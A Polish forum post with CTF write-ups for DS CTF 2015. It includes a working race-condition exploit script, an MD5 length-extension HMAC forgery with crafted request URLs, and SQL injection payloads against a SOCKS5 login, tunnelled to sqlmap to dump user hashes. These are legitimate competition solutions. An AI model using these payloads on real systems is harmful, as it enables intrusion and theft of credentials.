Writeup DS CTF 2015

18

Uczestniczyliśmy (@msm i @Rev ) w DS CTF (https://ctftime.org/event/205) (organizowanym m.in przez @Gynvael Coldwind - jest ktoś inny z Dragon Sector na forum zarejestrowany?) - i postanowiliśmy w końcu opublikować jakieś writeupy z CTFa publicznie.

Tak więc, po kolei zadania które zrobiliśmy (ten post został napisany w połowie przez @Rev i w połowie przeze mnie), ja go tylko sformatowałem i umieściłem:

<font size="6">Practical Numerology (Web, 300) (56 solvers)</span>
Here's a lotto script, running on my old and slow computer. Can you pwn it?

Mamy oto taki skrypt chodzący na stronie:

<?php

function generate_secret()
{
    $f = fopen('/dev/urandom','rb');
    $secret1 = fread($f,32);
    $secret2 = fread($f,32);
    fclose($f);
    
    return sha1($secret1).sha1($secret2);
}

session_start();

if(!isset($_SESSION['secret']))
    $_SESSION['secret'] = generate_secret();
    
if(!isset($_POST['guess']))
{
    echo 'Wanna play lotto? Just try to guess 320 bits.<br/><br/>'.PHP_EOL;
    highlight_file(__FILE__);
    exit;
}

$guess = $_POST['guess'];

if($guess === $_SESSION['secret'])
{
    $flag = require('flag.php');
    exit('Lucky bastard! You won the flag! ' . $flag);
}
//else...
echo "Wrong! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($guess);
echo "'";

$_SESSION['secret'] = generate_secret();

Jak widać należy "zgadnąć" dwa hashe sha, wygenerowane z 320 bitów danych wyciągniętych z /dev/urandom. Nie jest to niestety wykonalne, więc trzeba myśleć "Out of the box".

Przede wszystkim, w opisie zadania jest o tym że komputer na którym chodzi skrypt jest "wolny". Jakie to ma znaczenie?

if($guess === $_SESSION['secret'])
{
    $flag = require('flag.php');
    exit('Lucky bastard! You won the flag! ' . $flag);
}
//else...
echo "Wrong! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($guess);
echo "'";

$_SESSION['secret'] = generate_secret();

Pomiędzy wypisaniem sekretu a wygenerowaniem nowego (i zapisaniem do sesji) mamy htmlspecialchar. (no i samo generowanie sekretu)

Okazuje się że nawet na SO ludzie narzekają na to jaka ta funkcja jest wolna (http://stackoverflow.com/questions/16384515/why-is-htmlspecialchars-so-slow). A co jeśliby przekazać jej odpowiednio dużo specjalnych znaków, żeby wykorzytać race condition w tym miejscu?

Realizuje to następujący skrypt pythonowy:

# -*-coding: utf-8 -*-
import urllib
import socket

def request(guess):
    HOST = '134.213.136.172'
    PORT = 80
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    request = '''POST / HTTP/1.1
Host: {}
Cookie: PHPSESSID=qn0121glkief2n1m6i7rq210hugm45au; path=/
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

guess={}

'''.format(HOST, len('guess='+guess), guess)
    print request
    s.sendall(request)

    data = s.recv(999999)
    s.close()
    return data

data = request('<'*400000)

l = data.find("'")
r = data.find("'", l+1)
s = data[l+1:r]
print s

result = request(s)
print result

Wystarczy wykonać, i...

DrgnS{JustThinkOutOfTheBoxSometimes...}

Wygrywamy flagę!

Trivia:
Mimo że zadanie było za aż 300 punktów, to zadanie chyba poszło nam najprościej ze wszystkich (max kilka minut brainstormu + trochę pisania i poprawiania. Byłoby nawet szybciej gdybym nie pomylił (@msm) GET z POST w craftowanym requeście ;) )

Bonus, czyli cała nasza rozmowa i tok myślowy prowadzące do rozwiązania zadania (zazwyczaj nie idzie tak prosto ;) ):

[2015-04-25 1555] rev: http://134.213.136.172/
[2015-04-25 1500] msm: kk
[2015-04-25 1500] rev: najwięcej osób zrobiło po tych co mamy
[2015-04-25 1507] msm: kk
(-cut- kod źródłowy -cut-)
[2015-04-25 1536] msm: to dość oczywiste
[2015-04-25 1542] msm: 2x sha z losowych bitów
[2015-04-25 1546] rev: yup
[2015-04-25 1552] msm: sha1, ale to raczej bez znaczenia
[2015-04-25 1554] rev: /dev/urandom nie przewidzimy, nie ma szans
[2015-04-25 1559] msm: ;D
[2015-04-25 1502] msm: no nie
[2015-04-25 1509] msm:
session_start();

if(!isset($_SESSION['secret']))
$_SESSION['secret'] = generate_secret();
[2015-04-25 1514] msm: do sesji zapisuje sekret
[2015-04-25 1529] rev: "PHP/5.5.9-1ubuntu4.9"
[2015-04-25 1539] msm: hmm
[2015-04-25 1542] msm: stare czy coś?
[2015-04-25 1545] rev: "PHPSESSID=uc1i97eru0i40ebv570mtg89ohcl1eq7"
[2015-04-25 1547] rev: nie, nowoczesne
[2015-04-25 1549] msm: kk
[2015-04-25 1553] rev: no i phpsessid standardowy
[2015-04-25 1509] msm:
//else...
echo "Wrong! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($guess);
echo "'";

$_SESSION['secret'] = generate_secret();
[2015-04-25 1510] msm: hmm
[2015-04-25 1513] msm: hmmmm
[2015-04-25 1518] msm: wypisuje ten sekret niby
[2015-04-25 1529] msm: hm
[2015-04-25 1533] msm: mam pomysł (niby)
[2015-04-25 1534] msm: booo
[2015-04-25 1538] msm: to w tym zadaniu było że jest wolne, nie?
[2015-04-25 1544] msm: może race condition?
[2015-04-25 1555] msm: hm, ale musiałoby być bardzo wolne w sumie
[2015-04-25 1503] msm: żeby doszło do nas a sesja sie nie zmieniła
[2015-04-25 1506] rev: musiałbyś bardzo spowolnić htmlspecialchars($guess);
[2015-04-25 1507] msm: więc chyba nie
[2015-04-25 1513] msm: hmm
[2015-04-25 1522] msm: raczej zapis do sesji może jest wolny
[2015-04-25 1527] rev: czekaj
[2015-04-25 1529] msm: chociaż długi guess to też pomysł niby
[2015-04-25 1538] rev: a jakby w tym $guess wysłać bardzo dużo tych special charsów
[2015-04-25 1542] msm: ano
[2015-04-25 1552] msm: http://stackoverflow.com/questions/16384515/why-is-htmlspecialchars-so-slow
[2015-04-25 1554] rev: i obok szybciutko wysłać secret
[2015-04-25 1556] msm: na so ktoś narzekał ;P
[2015-04-25 1557] rev: :DDDDD
[2015-04-25 1522] msm: ;D
[2015-04-25 1528] rev: no to chyba zrobiliśmy zadanie
[2015-04-25 1536] msm: no chyba tak
[2015-04-25 1536] msm: ;P
[2015-04-25 1538] msm: to próbujemy?
[2015-04-25 1542] rev: yup, trzeba program napisać

<font size="6">Power level (Cryptography, 50) (97 solvers)</span>

Here's a C file. Decode this:

Dysponujemy takim ciphertextem:

int ct[] = { 8, 223, 137, 2, 42, 8, 28, 186, 97, 114, 42, 74, 163, 238, 163, 23,
    121, 2, 74, 158, 163, 23, 135, 2, 193, 158, 2, 62, 2, 184, 44, 20, 2, 137,
    217, 196, 62, 249, 159, 137, 44, 111, 106, 111, 217, 50, 106, 111, 2, 62,
    196, 217, 137, 2, 20, 106, 146, 111, 151
};

Który wygenerowany został następującym kodem:

unsigned int a,b,c,d,v;

unsigned int f(unsigned int x)
{
    return a*x*x*x + b*x*x + c*x + d;
}

int main(int ac, unsigned char**av)
{
    unsigned char *plaintext;
    int i, len;
    plaintext = av[1];
    a = (unsigned int)plaintext[0];
    b = (unsigned int)plaintext[1];
    c = (unsigned int)plaintext[2];
    d = (unsigned int)plaintext[3];
    len = strlen(plaintext);
    for(i=0;i<len;i++)
    {
        v = f(plaintext[i]);
        v = e[v%1000](plaintext[i]) ^ (v%251);
        printf("%u ",v);
    }
    return 0;
}

Tablica e to tablica zawierająca 1000 wskaźników do funkcji wyglądających mniej więcej tak:

unsigned char e0(unsigned char c)
{
    c = ~c;
    c += 133;
    c = -c;
    c ^= 232;
    c = -c;
    c += 231;
    c = ~c;
    c += 50;
    return c;
}

Każda z tych funkcji jest odwracalna (składa się tylko z xorów, dodawań stałych, negacji itp odwracalnych operacji), co jest zastanawiające bo nie wykorzystaliśmy tego faktu kompletnie.

Jak widać każdy znak jest szyfrowany oddzielnie (niezależnie od pozostałych, nie ma dzielonego stanu), więc złamanie "szyfru" powinno być proste. "Kluczem" szyfru są pierwsze cztery znaki szyfrowanego tekstu.

Dlatego my poszliśmy w czysty bruteforce, i zaczęliśmy od próby zgadnięcia pierwszych czterech znaków plaintextu.

bool doguess(unsigned int *guess) {
    a = guess[0]; b = guess[1]; c = guess[2]; d = guess[3];
    for (int i = 0; i < 4; i++) {
            unsigned int v = f(guess[i]);
            v = e[v%1000](guess[i]) ^ (v%251);
            if (v != ct[i]) { return false; }
    } return true;
}

Dla podanego "guess" (czyli zgadywanego klucza) sprawdzamy czy sam sie szyfruje do tego co powinien (czyli pierwszych 4 bajtów ciphertextu).
Teraz wystarczy wykonać to w czterech pętlach...

#define MING 0
#define MAXG 256
int main(int w, char *q[]) {
    unsigned int guess[5];
    guess[4] = '\0';

    for (guess[0] = MING; guess[0] < MAXG; guess[0]++) {
        for (guess[1] = MING; guess[1] < MAXG; guess[1]++) {
            for (guess[2] = MING; guess[2] < MAXG; guess[2]++) {
                for (guess[3] = MING; guess[3] < MAXG; guess[3]++) {
                    if (doguess(guess)) {
                        printf("%c%c%c%c\n", guess[0], guess[1], guess[2], guess[3]);
                    }
                }
            }
        }
    }
}
msm@andromeda /cygdrive/e/Tmp
$ gcc crypto50.c -std=c99 -O2

msm@andromeda /cygdrive/e/Tmp
$ ./a.exe
~F1a

msm@andromeda /cygdrive/e/Tmp
$

A mając pierwsze cztery znaki, wystarczyło uruchomić następujący "zgadywacz":

void trydecrypt(unsigned int *guess) {
    a = guess[0]; b = guess[1]; c = guess[2]; d = guess[3];
    int sl = sizeof(ct) / sizeof(*ct);
    for (int i = 0; i < sl; i++) {
        for (int j = ' '; j < 128; j++) {
            unsigned int v = f(j);
            v = e[v%1000](j) ^ (v%251);
            if (v == ct[i]) { printf("%c", j); }
        } putchar(' ');
    }
}

int main(int w, char *q[]) {
    unsigned int guess[5];
    guess[4] = '\0';

    guess[0] = '~';
    guess[1] = 'F';
    guess[2] = '1';
    guess[3] = 'a';
    trydecrypt(guess);
}

Kompilacja i uruchomienie:

msm@andromeda /cygdrive/e/Tmp
$ ./a.exe
~ F 1 ;a Og ~ : D =r Og n SU { SU o Mh ;a n y SU o EQ ;a s y ;a Pfv ;a 5 6 b ;a 1 9 c Pfv d 8 1 6 e 3 e 9 ,7 3 e ;a Pfv c 9 1 ;a b 3 4 e }

Chwila składania tego (szyfr jest niejednoznaczny, więc na część znaków jest kilka opcji) mamy flagę:

DrgnS{SoManySoEasyafa56ba19cfd816e3e973eafc91ab34e}

Trivia:pewnie dało się to zadanie zrobić prościej/lepiej? W każdym razie udało się, więc nie przejmujemy się tym.

<font size="6">A PNG Tale (Steganography, 200) (43 solvers)</span>

Find the flag hidden in this PNG file.

To zadanie sprawiło nam sporo kłopotów, a sposób renderowania obrazów png jest dla nas nadal sporą zawozdką. Plik został przez nas sprawdzony wieloma dostępnymi narzędziami badającymi obrazy pod względem poprawności strukturalnej formatu i samej kompresji (defdb) oraz ułatwiającej wyszukiwanie wizualnej steganografi (stegsolve). Wszystko wyglądało w porządku, więc równocześnie zagłębiliśmy się w oba aspekty pliku: nad bajtami struktury i nad pikselami obrazu. Zgadzały się przeanalizowane: crc32 w png, checksumy (adler32) i flagi w streamie zlib embedowanym w png. Zrobiliśmy dump struktury i kodów huffmana zapisanych w streamie deflate. Interesująco zaczęło się, gdy odkompresowany stream bajtów załadowaliśmy bezpośrednio do przeglądarki obrazów.

5592e2f2eb.png

“Gołym okiem” widać, że obraz jest przekrzywiony (zaczynając od dołu, ale to normalne, bo to bitmapa bottom-up) co wskazuje na problem z wyrównaniem wierszy - mamy jakiś padding (nadal nie wiemy czy to normalne, ale w każdym razie wydaje nam się to dziwne, bo co to za padding co 2401 bajt?). No i skąd te kreski?! Dlaczego inne viewery ich nie wyświetlają? Koniec końców, trzeba te piksele sprawdzić.

Piękny i elegancki skrypt którego użyliśmy:

f = open('raw.bin', 'rb')
bb = 2401

def x():
    s = ''
    while True:
            bits = f.read(bb)
        if bits == '':
           return s
        s += str(ord(bits[0]))

s = x()
print s
print len(s)
s = s[:len(s)/2]
s = s[::-1]

step = 8
q =  [s[i:i+step] for i in range(0, len(s), step)]
i = ''
for j in q:
    i += chr(int(j, 2))
print i[::-1]

Dostaliśmy w wyniku liczby 0 i 1, które po potraktowaniu jako bity ciągu ASCII dały nam flagę.

DrgnS{WhenYouGazeIntoThePNGThePNGAlsoGazezIntoYou}

<font size="6">So easy (Reverse Engineering, 100) (144 solvers)</span>

Get the flag (tested on Ubuntu 14.04.2 LTS).

Pierwsza próba uruchomienia binarki skończyła się niepowodzeniem (no such file or directory), ale po krótkim stukaniu się w głowę i doinstalowaniu 32-bitowych libów w 64-bitowym Ubuntu mogliśmy zacząć zabawę na dobre.

rev@rev-virtual-machine:~/Desktop$ ./re_100_final
Please enter secret flag:
something
Nope!

Nie tracąc więcej czasu, załadowaliśmy binarkę do dezasemblera i zbadaliśmy listing głównej funkcji. Ta pracując na każdym ze znaków napisu przekazanego przez użytkownika w zależności od wartości ASCII dodawała albo odejmowała od niego 20h. A to nic innego jak zmiana case’u litery z wielkiej na małą lub odwrotnie. Tak zmodyfikowany napis był porównywany ze “dRGNs{tHISwASsOsIMPLE}” i wypisywane na ekran “Nope!” bądź “Excellent Work!”.
To w teorii. W praktyce nawet gdy podaliśmy “DrgnS{ThisWasSoSimple}” cały czas widzieliśmy tylko smutne “Nope!”. To niemożliwe!

Ładujemy program do debuggera i sprawdzamy co poszło nie tak. Wszystko dzieje się zgodnie z planem aż do czasu wywołania printf wyświetlającego wynik. Step over, patrzymy na terminal.. nic się nie wyświetliło. Wróć! Tym razem step in, a tam:

.text:080488AB push    ebp
.text:080488AC mov     ebp, esp
.text:080488AE sub     esp, 18h
.text:080488B1 mov     eax, [ebp+s]
.text:080488B4 mov     [esp], eax      ; s
.text:080488B7 call    _strlen
.text:080488BC leave
.text:080488BD retn

strlen? Ktoś nas próbuje oszukać!

Binarka nie jest duża, można spojrzeć co robi reszta procedur.
Większość z nich jest dosyć prosta i bardzo podobna do tej (różniły się tylko wartością ustawianego bajtu oraz offsetem).

sub_804866E proc near
push    ebp
mov     ebp, esp
mov     eax, ds:dword_804B0A4
add     eax, 38h
mov     dword ptr [eax], 41h
pop     ebp
retn
sub_804866E endp

Po co ktoś miałby w pamięci umieszczać te bajty? Kto wywołuje te funkcje? Po łańcuchu referencji trafiamy w ten sposób do sub_80488BE, który jest winowajcą naszego śmiesznie działającego printf:

mov     [ebp+var_10], 8048412h /* stare printf */
mov     eax, [ebp+var_10]
mov     eax, [eax]
mov     [ebp+var_C], eax
mov     eax, [ebp+var_C]
mov     dword ptr [eax], offset sub_80488AB /* nowe printf */

A później rejestruje funkcje wstawiające bajty jako handlery do wykonania w atexit. Kolejny breakpoint i podejrzenie pamięci, którą zaalokował calloc daje nam flagę.. prawie. W końcu musimy jeszcze odwrócić case liter :).

DrgnS{NotEvenWarmedUp}

<font size="6">Mac hacking (Cryptography, 150) (47 solvers)</span>
They laughed at my XOR encryption. Then, they mocked me for using MD5. Hah! What do they even know. I bet they don't even code in PHP

Najtrudniejsze z zadań które udało nam się zrobić do końca.

Mamy taki skrypt:

<?php
// secret vars
include('secrets.php');

function do_xor($a,$b) {
  $s = '';
  for ($i=0; $i < max(strlen($a),strlen($b)); $i++) {
    $x = $i < strlen($a) ? ord($a[$i]) : 0;
    $y = $i < strlen($b) ? ord($b[$i]) : 0;
    $s .= chr($x ^ $y);
  }
  return $s;
}

if (!$_GET) {
   highlight_file(__FILE__);
   exit(0);
}

// user vars
$action = $_GET['a'];
$method = $_GET['m'];
$data = $_GET['d'];
$signature = $_GET['s'];


if ($action == 'sign') {
   $to_sign = $data;

   if (strstr($data,'get')) {
      die('get word not allowed');
   }

   if ($method == 'old') {
      echo md5(do_xor($data,$secret));
   } else {
      echo hash_hmac('md5',$data, $secret);
   }
   
} else if ($action == 'verify') {

  if ($method == 'old')
     die('deprecated');

  if ($signature == hash_hmac('md5',$data, $secret)) {
    if (strstr($data, 'get flag')) {
      echo $flag;
    }
  }
}
?>

I celem jest oczywiście wyciągnięcie flagi.

Możemy prosić serwer o hashowanie md5 z sekretem, oraz o wygenerowanie hmaca z podanych danych, ale z jednym haczykiem - żeby dostać flagę musimy podpisać "get flag", a podpisywany tekst nie może zawierać słowa "get".

Jak to obejść?

Otóż błądziliśmy tu trochę, ale ostatecznie zauważyliśmy że możemy sobie wygenerować własny HMAC, wykorzystując length extension na md5.

Konkretnie hmac_md5 to nic innego niż md5(opad | md5(ipad | message))
(gdzie opad to 0x5c5c5c... xor sekret, a ipad to 0x363636... xor sekret)

...A to możemy wygenerować za pomocą dostarczajnej funkcji md5.

Więc najpierw request z ipadem:
http://95.138.166.219/?a=sign&m=old&d=6666666666666666666666666666666666666666666666666666666666666666

Zwraca nam 691b6c46c3dc8a260f8371ad51a852e3

Następnie length extension (wykorzystując fakt że znamy długość klucza):

$ ./hash_extender --data "" --secret 64 --append "get key" --signature 691b6c46c3dc8a260f8371ad51a852e3 --format md5

New signature: 4b701ba42d7a8fcd477f82cef27a912e
New string: 8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000067657420666c6167

Uzbrojeni w te dane i nowy hash robimy request o opad:

http://95.138.166.219/?a=sign&m=old&d=\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\%4b%70%1b%a4%2d%7a%8f%cd%47%7f%82%ce%f2%7a%91%2e

Dostajemy hash: ef6fa4b0cdb43b0089f99eee5bb5cba2

Składamy HMAC i weryfikujemy:

http://95.138.166.219/?a=verify&s=ef6fa4b0cdb43b0089f99eee5bb5cba2&d=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%00%00%00%00%00%00%67%65%74%20%66%6c%61%67

I wygrywamy (NARESZCIE) flagę:

DrgnS{MyHardWorkByTheseWordsGuardedPleaseDontStealMasterCryptoProgrammer}

To naprawedę nie poszło tak prosto jak tu wygląda. Głównie z powodu kilku ślepych uliczek w które weszliśmy oraz jeszcze większej ilości głupich błędów które zrobiliśmy). Zadanie było trudne, ale interesujące (bo dla jednego z nas były to początki z typową kryptografią i pierwsze spotkanie z length extension attack).

Trivia:

  • Debugujemy. Nasz uzyskany hash nie jest przyjmowany i nie wiemy czemu, po raz pierwszy:
<msm> czekaj
<msm> bo coś tu zaszło
<rev> ?
<msm> root@web:~/hash_extender# ./hash_extender --data "" --secret 64 --format md5 --append 'get flag' --signature 6036708eba0d11f6ef52ad44e8b74d5b
Type: md5
<msm> dałem złe signature do hash extendera :(
  • Debugujemy. Nasz uzyskany hash nie jest przyjmowany i nie wiemy czemu, po raz drugi:
<msm> http://95.138.166.219/?a=sign&m=old&d=////////////////////////////////////////////////////////////////4b701ba42d7a8fcd477f82cef27a912e
<msm> ten
<msm> nie te slasze dałeś co trzeba
<msm> 134  5C  \
<msm> >>> chr(0x5c)
'\\'
<rev> :|
<rev> :\
<rev> :/
  • Debugujemy. Nasz uzyskany hash nie jest przyjmowany i nie wiemy czemu, po raz trzeci:
<msm> https://tailcall.net/bar.php?m=old&d=////////////////////////////////////////////////////////////////58c4200cecb25dc93305bcbdf84f10ec
<msm> hmmmmmm
<msm> ten hasz na końcu
<msm> nie powinien być urlenkodowany?
<rev> tyyyyyy
<rev> faktycznie
Nasz uzyskany hash działa:
<msm> NO [wycięte]
<msm> NARESZCIE
<rev> :P

<font size="6">Apache Underwear (Network / Web, 400) (26 solvers)</span>

Pwn this server. Keep in mind, this is a web challenge :-O.

Zadanie którego nam się nie udało zrobić (ale byliśmy blisko... Na pewno byliśmy blisko).
(Zrobiliśmy tez sporą część zadania "Here be dragons", ale nie byliśmy /aż tak/ blisko końca).

Stoi sobie serwer (albo stał, zazwyczaj po ctf szybko znikają): http://134.213.136.187:8080/

Niestety, na każdy request zwraca nam

403: Youe IP (83.27.234.164) is too world wide ;

I faktycznie, nmap pokazuje trzy otwarte porty:

Host is up (0.0099s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
9090/tcp open  zeus-admin

ssh wiele nam nie da (logowanie kluczem), 8080 już znamy, a co jest pod 9090?

C:\Users\Rev>curl --proxy socks4://134.213.136.187:9090 http://localhost
curl: (7) Failed to receive SOCKS4 connect request ack.

C:\Users\Rev>curl --proxy socks5://134.213.136.187:9090 http://localhost
curl: (7) No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since no
ne was supplied to the server on this connection.)

C:\Users\Rev>curl --proxy socks5://login:[email protected]:9090 http://localhost
curl: (7) User was rejected by the SOCKS5 server (1 99).

Napisaliśmy więc sobie mały skrypt/klienta socks5:

# -*-coding: utf-8 -*-
import urllib
import socket

def do_request():
    HOST = '134.213.136.187'
    PORT = 9090
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    REQ1 = '\x05\x03\x00\x01\x02'
    s.sendall(REQ1)
    data = s.recv(99999)
    # print data.encode('hex')

    uname = "msm"
    passw = "kot"
    print 'logging in with uname={} and passw={}'.format(uname, passw)
    REQ2 = '\x01{}{}{}{}'.format(chr(len(uname)), uname, chr(len(passw)), passw)
    s.sendall(REQ2)
    data = s.recv(99999)
    r = data.encode('hex')
    print r

    domain = 'localhost'
    REQ3 = '\x05\x01\x00\x03{}{}\x00\x50'.format(chr(len(domain)), domain)
    s.sendall(REQ3)
    data = s.recv(99999)
    r = data.encode('hex')
    print r

I... odkryliśmy coś ciekawego (nie żeby od razu):

$ python socks.py
logging in with uname=msm and passw=kot
0163

$ python socks.py
logging in with uname=msm' and passw=kot

$

Serwer bardzo nie lubi znaku ' w nazwie użytkownika. Ciekawe dlaczego...

msm@andromeda /cygdrive/e/Tmp
$ python socks.py
logging in with uname=msm' OR 1=1 -- and passw=kot
0100
05020001000000000000

msm@andromeda /cygdrive/e/Tmp

Tak, mamy sqli w serwerze socks5.

C:\Users\Rev>curl --proxy socks5://134.213.136.187:9090 -U "aa' OR 1=1 --" http://localhost
Enter proxy password for user 'aa' OR 1=1 --':
curl: (7) Can't complete SOCKS5 connection to 0.0.0.0:0. (2)

Niestety, to jeszcze nie był koniec zadania, bo serwer odpowiadał uparcie na jakąkolwiek próbę wykorzystania go jako proxy (niezależnie pod jaki lokalny czy zdalny adres) tak jak wyżej: 05020001000000000000
Błąd o tym numerze: “0x02 = connection not allowed by ruleset”

I w tym momencie prawdopodobnie zeszliśmy na złą drogę niestety.
(edit: patrząc po innych writeupach, to w zasadzie tutaj był koniec zadania. W tym momencie to proxy jednak powinno działać. Prawdopodobnie coś przeoczyliśmy? Źle testowaliśmy? W każdym razie na dalszej części oraz zgadywaniu co jest nie tak straciliśmy sporo cennego czasu i energii, i nic więcej nie pociągneliśmy)
Być może trzeba było znaleźć tą jedną, jedyną operację którą da się zrobić po socksach.
Być może trzeba było próbować exploitować sqli w jakiś kreatywny sposób.

Ale my się nie bawiliśmy, i odpaliliśmy... sqlmapa!

A konkretnie, napisaliśmy do tego celu "proxy" - serwer HTTP który robił requesty do serwera socks i wyświetlał wynik (żeby sqlmap mógł z nim rozmawiać) ;)

import os
import socket
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib

def do_request(uname):
    HOST = '134.213.136.187'
    PORT = 9090
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    REQ1 = '\x05\x03\x00\x01\x02'
    s.sendall(REQ1)
    data = s.recv(99999)
    passw = 'pass'
    REQ2 = '\x01{}{}{}{}'.format(chr(len(uname)), uname, chr(len(passw)), passw)
    s.sendall(REQ2)
    data = s.recv(99999)
    return data

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print("GET " + self.path)
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()

        p = self.path
        p = p[p.find('=')+1:]
        p = urllib.unquote(p)
        p = do_request(p).encode('hex')
        if p == '0100':
            p = '<html><body>WELCOME</body></html>'
        else:
            p = 'ERROR: INTRUZ'
        self.wfile.write(p)

if __name__ == "__main__":
    try:
            server = HTTPServer(('0.0.0.0', 80), MyHandler)
        print('Started http server')
            server.serve_forever()
    except KeyboardInterrupt:
            print('^C received, shutting down server')
            server.socket.close()

I po dłuższej walce ze sqlmapem...

[23:50:43] [INFO] retrieved: 1
[23:50:43] [INFO] retrieved: users
Database: SQLite_masterdb
[1 table]
+-------+
| users |
+-------+

[23:50:46] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'

Dobrze...

[3 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| id       | NUMERIC |
| name     | TEXT    |
| password | TEXT    |
+----------+---------+

...Jeszcze lepiej

f87c5f4737.png

Nieeeee. Niedobrze.

Tak sięc z bazy wyciągneliśmy wszystko co się da, czyli dwóch użytkowników (admin i guest) oraz hashe ich haseł. Hashe okazały się niełamalne (a przynajmniej nam to się nie udało), i w zasadzie dalej nie doszliśmy w tym zadaniu przez to.

Zanim zmógł nas sen dokonaliśmy ostatniej próby zalogowania jako admin.

C:\Users\Rev>curl --proxy socks5://134.213.136.187:9090 -U "aa' AND 0=1 UNION SELECT 1 as id, 'admin' as user, '9743a66f914cc249efca164485a19c5c' as password --" http://localhost
Enter proxy password for user 'aa' AND 0=1 UNION SELECT 1 as id, 'admin' as user, '9743a66f914cc249efca164485a19c5c' as password -
-':
curl: (7) Can't complete SOCKS5 connection to 0.0.0.0:0. (2)

Trivia:
może by poszło lepiej, gdyby nie to że przez co najmniej godzinę zastanawialiśmy się co takiego nmap znalazł na porcie 808 na serwerze z zadaniem:

Host is up (0.0099s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
808/tcp  open  ccproxy-http
8080/tcp open  http-proxy
9090/tcp open  zeus-admin

Odpowiedź: nic tam nie było, serwer ma ten port zamknięty, nawet nie widział naszych requestów. To po prostu regułka IPTables na moim (@msm) serwerze przekierowywała requesty wychodzące z powrotem do mnie (ot zalety wirtualizacji). Godzina produktywności stracona dla świata.

<font size="6">PS</span>
Jeśli ktoś się czuje mocny w CTFach to rekrutujemy z @Rev (bo dwuosobowy team to /bardzo/ mało, biorąc pod uwagę że nie ma ograniczenia na ilośc osób i sporo teamów ma -naście osób). Pisać do mnie albo @Rev na PW, przy czym nie szukamy początkujących (bardzo mile widziane (wymagane?) konto na www.tdhack.com / enigmagroup.org / podobnej stronie, albo CTFy i zadania w których się brało udział, albo inny dowód umiejętności. Konto i aktywność na forum też na duży plus. Oraz konieczne podejście "nauczę się czegoś nowego" zamiast "wygram coś").

5

Dzięki za spisanie rozwiązań :)

W ramach wyjaśnienia ad "A PNG Tale":
Dane z sekcji IDAT którą rozpakowaliście to nie jest jeszcze końcowa bitmapa - PNG stosuje zestaw prostych "filtrów" per linia (vide http://en.wikipedia.org/wiki/Portable_Network_Graphics#Filtering), których zadaniem jest zmniejszenie entropii danych w danej linii, tj. per każda linia dobierany jest oddzielny filtr tak, aby entropia danej linii była jak najniższa przed kompresją DEFLATE'em.
Bajt identyfikujący filtr dla danej linii jest zapisany na początku każdej linii przed samymi danymi - stąd "przekrzywienie" o którym pisaliście.
Sama flaga "oficjalnie" była rozbita na bity i zapisana za pomocą identyfikatorów filtrów (0x00 i 0x01) - stąd te "paski" w rozpakowanej sekcji IDAT - dobór filtru wpływał na wartości bajtów w poszczególnej linii.

Przyznaje, że sprytnie wymyśliliście jak tą flagę odzyskać nie patrząc w ogóle na filtry :)

1 użytkowników online, w tym zalogowanych: 0, gości: 1